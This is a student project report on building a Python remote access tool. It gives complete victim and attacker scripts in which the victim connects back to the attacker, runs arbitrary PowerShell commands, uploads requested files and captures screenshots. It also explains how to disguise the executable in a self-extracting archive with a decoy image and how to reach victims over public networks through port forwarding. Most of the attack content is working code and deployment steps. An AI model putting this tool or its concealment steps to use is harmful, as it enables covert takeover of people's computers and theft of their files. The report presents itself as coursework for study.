

Remote Access Tool (RAT)

Network Security

Comsats University Islamabad

Submitted by: Mohamed Ahsan Wakir (FA22-BCT-001)

Submitted on January 22, 2025

Submitted to: Dr. Farhana Jabeen

Table of Contents

[Network Security Project Documentation 3](#_Toc186668158)

[Overview 3](#_Toc186668159)

[Prerequisites 3](#_Toc186668160)

[Implementation Details 3](#_Toc186668161)

[Code: Victim (Windows) 3](#_Toc186668162)

[Code: Attacker (Kali Linux) 5](#_Toc186668163)

[Steps to Setup and Execute 7](#_Toc186668164)

[Step 1: Prepare the Victim Script 7](#_Toc186668165)

[Step 2: Setup the Attacker Script 7](#_Toc186668166)

[Execution Steps 8](#_Toc186668167)

[Step 1: Start the Attacker Script 8](#_Toc186668168)

[Step 2: Execute the Victim Script 8](#_Toc186668169)

[Step 3: Interact with the Victim 8](#_Toc186668170)

[Extending to Attacks over Public Networks 9](#_Toc186668171)

[Steps to Enable Attacks over Public Networks 9](#_Toc186668172)

[Why Attacks over Public IP Could Not Be Implemented 10](#_Toc186668173)

[Key Features Demonstrated 10](#_Toc186668174)

[Notes and Observations 10](#_Toc186668175)

[Spaces for Screenshots 10](#_Toc186668176)

[Conclusion 11](#_Toc186668177)

# Network Security Project Documentation

## Overview

This project demonstrates a simulated attack scenario using two hosts:

1. **Victim Machine** running Windows.
2. **Attacker Machine** running Kali Linux.

The attacker machine establishes a connection with the victim machine to execute commands, take screenshots, and download files remotely. This documentation outlines the implementation, setup, and demonstration steps of the project.

## Prerequisites

1. **Tools and Libraries Required:**
   * Python 3.x installed on both hosts.
   * PyInstaller for converting Python scripts to executables.
   * WinRAR for creating self-extracting archives.
   * Python libraries: socket, subprocess, time, os, and pyautogui (for the victim).
2. **Network Configuration:**
   * Ensure both hosts are on the same network and can communicate with each other.
   * Set the attacker's IP address in the victim's code.

## Implementation Details

### Code: Victim (Windows)

import socket

import subprocess

import time

import os

import pyautogui

IDENTIFIER = "<END\_OF\_COMMAND\_RESULT>"

eof\_identifier = "<END\_OF\_FILE\_IDENTIFIER>"

CHUNK\_SIZE = 2048

if \_\_name\_\_ == "\_\_main\_\_":

    hacker\_IP = "172.17.9.162"

    hacker\_port = 8008

    hacker\_address = (hacker\_IP, hacker\_port)

    while True:

        try:

            victim\_socket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

            print("trying to connect with ", hacker\_address)

            victim\_socket.connect(hacker\_address)

            while True:

                data = victim\_socket.recv(1024)

                if not data:

                    print("Hacker program disconnected. Stopping victim program.")

                    break

                hacker\_command = data.decode()

                print("hacker command = ", hacker\_command)

                if hacker\_command == "stop":

                    break

                elif hacker\_command == "":

                    continue

                elif hacker\_command.startswith("cd"):

                    path2move = hacker\_command.strip("cd ")

                    if os.path.exists(path2move):

                        os.chdir(path2move)

                    else:

                        print("cant change dir to ", path2move)

                    continue

                elif hacker\_command.startswith("download"):

                    file\_to\_download = hacker\_command.strip("download ")

                    if os.path.exists(file\_to\_download):

                        exists = "yes"

                        victim\_socket.send(exists.encode())

                        with open(file\_to\_download, "rb") as file:

                            while True:

                                chunk = file.read(CHUNK\_SIZE)

                                if not chunk:

                                    # End of file reached; send the marker

                                    victim\_socket.send(eof\_identifier.encode())

                                    break

                                victim\_socket.send(chunk)

                        print("File sent successfully")

                    else:

                        exists = "no"

                        print("File doesn't exist")

                        victim\_socket.send(exists.encode())

                        continue

                elif hacker\_command == "screenshot":

                    print("Taking screenshot")

                    screenshot = pyautogui.screenshot()

                    screenshot.save("screenshot.png")

                    print("screenshot saved")

                else:

                    output = subprocess.run(["powershell.exe", hacker\_command], shell=True, capture\_output=True, stdin=subprocess.DEVNULL)

                    if output.stderr.decode("utf-8") == "":

                        command\_result = output.stdout

                        command\_result = command\_result.decode("utf-8") + IDENTIFIER

                        command\_result = command\_result.encode("utf-8")

                    else:

                        command\_result = output.stderr

                    victim\_socket.sendall(command\_result)

        except KeyboardInterrupt:

            print("exiting")

        except Exception as err:

            print("Unable to connect: ", err)

            time.sleep(5)

### Code: Attacker (Kali Linux)

import socket

IDENTIFIER = "<END\_OF\_COMMAND\_RESULT>"

eof\_identifier = "<END\_OF\_FILE\_IDENTIFIER>"

CHUNK\_SIZE = 2048

def receive\_file():

    print("Receiving file")

if \_\_name\_\_ == "\_\_main\_\_":

    hacker\_socket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

    IP = "172.17.9.162"

    Port = 8008

    socket\_address = (IP, Port)

    hacker\_socket.bind(socket\_address)

    hacker\_socket.listen(5)

    print("listening for incoming connection requests")

    hacker\_socket, client\_address = hacker\_socket.accept()

    print("connection established with ", client\_address)

    try:

        while True:

            command = input("Enter the command ")

            hacker\_socket.send(command.encode())

            if command == "stop":

                hacker\_socket.close()

                break

            elif command == "":

                continue

            elif command.startswith("cd"):

                hacker\_socket.send(command.encode())

                continue

            elif command.startswith("download"):

                hacker\_socket.send(command.encode())

                exist = hacker\_socket.recv(1024)

                if exist.decode() == "yes":

                    print("file exists")

                    file\_name = command.strip("download ")

                    with open(file\_name, "wb") as file:

                        print("Downloading file")

                        while True:

                            chunk = hacker\_socket.recv(CHUNK\_SIZE)

                            if chunk.endswith(eof\_identifier.encode()):

                                chunk = chunk[:-len(eof\_identifier)]

                                file.write(chunk)

                                break

                            file.write(chunk)

                    print("Successfully downloaded, ", file\_name)

                else:

                    print("File doesn't exist")

                    continue

            elif command == "screenshot":

                print("taking screenshot")

            else:

                full\_command\_result = b''

                while True:

                    chunk = hacker\_socket.recv(1048)

                    if chunk.endswith(IDENTIFIER.encode()):

                        chunk = chunk[:-len(IDENTIFIER)]

                        full\_command\_result += chunk

                        break

                    full\_command\_result +=chunk

                print(full\_command\_result.decode())

    except Exception:

        print("Exception occured")

        hacker\_socket.close()

## Steps to Setup and Execute

### Step 1: Prepare the Victim Script

1. Copy the victim script to the Windows machine.
2. Convert the script to an executable using PyInstaller:
3. pyinstaller --onefile --noconsole --icon=icon.ico new\_advanced\_victim.py

A screenshot of a computer program

Description automatically generated

1. Use WinRAR to create a self-extracting archive:
   * Open WinRAR and add the executable along with a decoy image.
   * Use the SFX options to specify the executable to run after extraction.
   * Assign an icon to the archive for concealment.

### Step 2: Setup the Attacker Script

1. Copy the attacker script to the Kali Linux machine.
2. Ensure the IP and port in the script match the configuration of the victim script.
3. Run the attacker script:
4. python3 attacker.py

## Execution Steps

### Step 1: Start the Attacker Script

* Run the attacker script on Kali Linux and wait for a connection.

A screen shot of a computer

Description automatically generated

### Step 2: Execute the Victim Script

* Run the self-extracting archive on the Windows machine.

A screenshot of a computer

Description automatically generated

### Step 3: Interact with the Victim

* Use commands from the attacker script to:
  1. Change directories.
  2. Download files.
  3. Capture screenshots.

A screen shot of a computer

Description automatically generated

## Extending to Attacks over Public Networks

So far, all the attacks we have done are on the local network. This requires you, the hacker, and the victim to be connected to the same network. This will likely not be the case for a lot of attack scenarios. This is where a public IP comes into play. We have already learned about public and private IP addresses while discussing an introduction to networking.

### Steps to Enable Attacks over Public Networks

1. **Find Your Public IP:**
   * On the hacker machine, open a web browser and visit [google.com](https://google.com).
   * Type my public IP into the search bar. Google will display your public IP address if you are not using a VPN or any network masking schemes.
   * Your public IP address is a 32-bit address provided by your ISP. For example: 31.38.10.X (last 8 bits masked for privacy).
   * Replace the private IP address of the hacker in the victim program with this public IP address.
2. **Enable Port Forwarding:**
   * Access your router settings. The router’s server address (e.g., 192.168.1.1) and default username/password are typically written on a sticker on the back of the router.
   * Navigate to the Port Forwarding settings in the router’s control panel.
   * Specify the port number used in the hacker program to allow incoming traffic to that port.
   * Save the settings.
3. **Test the Connection:**
   * Once port forwarding is enabled, run the attacker program and ensure the victim program connects using the public IP.

## Why Attacks over Public IP Could Not Be Implemented

While the theoretical steps for performing attacks over public IP were clear, the implementation was not successful due to the following reasons:

1. **Router Access Restrictions:**
   * The router settings required for enabling port forwarding were not accessible. Without administrative access to the router, it was impossible to forward the necessary ports.
2. **ISP Limitations:**
   * Certain ISPs block incoming connections to prevent unauthorized access. This restriction likely prevented the victim program from reaching the attacker machine using the public IP.
3. **Dynamic IP Issues:**
   * Public IPs assigned by ISPs are often dynamic and can change periodically, causing inconsistencies in connectivity.
4. **Firewall and Security Settings:**
   * Firewalls on either the victim or attacker machine, or on the network itself, may have blocked the connection attempt.

Due to these constraints, attacks over public IP could not be demonstrated in this project.

## Key Features Demonstrated

1. **Remote Command Execution:** Execute shell commands on the victim machine.
2. **File Transfer:** Download files from the victim to the attacker.
3. **Screenshot Capture:** Capture and save the victim’s screen.

## Notes and Observations

1. **Security Implications:** This project is strictly for educational purposes to understand attack mechanisms and their prevention.
2. **Network Latency:** Ensure stable network connectivity between both hosts.

## Conclusion

This project successfully demonstrates a basic remote attack scenario, emphasizing the importance of understanding and mitigating such threats in real-world systems.

# References

Sarwar, F. A. (2021). *Python Ethical Hacking From Scratch.* Birmingham, UK: Packt Publishing Ltd.